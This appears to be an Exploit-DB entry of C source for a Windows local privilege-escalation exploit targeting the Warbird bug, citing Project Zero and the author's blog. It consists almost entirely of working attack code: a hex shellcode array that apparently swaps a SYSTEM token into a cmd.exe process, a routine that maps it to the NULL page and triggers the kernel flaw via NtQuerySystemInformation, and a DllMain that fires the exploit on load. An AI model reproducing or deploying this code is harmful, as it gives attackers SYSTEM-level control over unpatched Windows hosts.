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/*
EDB Note
Source ~ https://gist.github.com/xpn/736daa4d1ff7b9869f4b3d1e9a34d315/ff2e2465d4a07588d0148dc87e77b17b41ef9d1d
Source ~ https://blog.xpnsec.com/windows-warbird-privesc/
Source ~ https://github.com/xpn/warbird_exploit
Ref ~ https://bugs.chromium.org/p/project-zero/issues/detail?id=1391
*/
// Shellcode to be executed by exploit
const char shellcode[256] = {
0xc7, 0x43, 0x04, 0x00, 0x00, 0x00, 0x00, 0x81, 0xc4, 0x0c,
0x00, 0x00, 0x00, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00, 0x5f,
0x5e, 0x5b, 0x89, 0xec, 0x5d, 0x81, 0xc4, 0x0c, 0x00, 0x00,
0x00, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00, 0x5e, 0x5b, 0x5f,
0x89, 0xec, 0x5d, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00, 0x81,
0xc4, 0x04, 0x00, 0x00, 0x00, 0x5f, 0x5e, 0x5b, 0x89, 0xec,
0x5d, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00, 0x81, 0xc4, 0x04,
0x00, 0x00, 0x00, 0x5f, 0x5f, 0x5e, 0x5b, 0x89, 0xec, 0x5d,
0x60, 0x64, 0xa1, 0x24, 0x01, 0x00, 0x00, 0xc7, 0x80, 0x3e,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xe8,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xec,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xf0,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xf4,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xf8,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xfc,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x80, 0x50,
0x01, 0x00, 0x00, 0x81, 0xb8, 0x7c, 0x01, 0x00, 0x00, 0x63,
0x6d, 0x64, 0x2e, 0x74, 0x0d, 0x8b, 0x80, 0xb8, 0x00, 0x00,
0x00, 0x2d, 0xb8, 0x00, 0x00, 0x00, 0xeb, 0xe7, 0x89, 0xc3,
0x81, 0xb8, 0xb4, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x74, 0x0d, 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x2d, 0xb8,
0x00, 0x00, 0x00, 0xeb, 0xe7, 0x8b, 0x88, 0xfc, 0x00, 0x00,
0x00, 0x89, 0x8b, 0xfc, 0x00, 0x00, 0x00, 0x61, 0xc3, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
void exploit(void) {
BYTE Buffer[8];
DWORD BytesReturned;
RtlZeroMemory(Buffer, sizeof(Buffer));
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)185, Buffer, sizeof(Buffer), &BytesReturned);
// Copy our shellcode to the NULL page
RtlCopyMemory(NULL, shellcode, 256);
RtlZeroMemory(Buffer, sizeof(Buffer));
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)185, Buffer, sizeof(Buffer), &BytesReturned);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
exploit();
break;
}
return TRUE;
}
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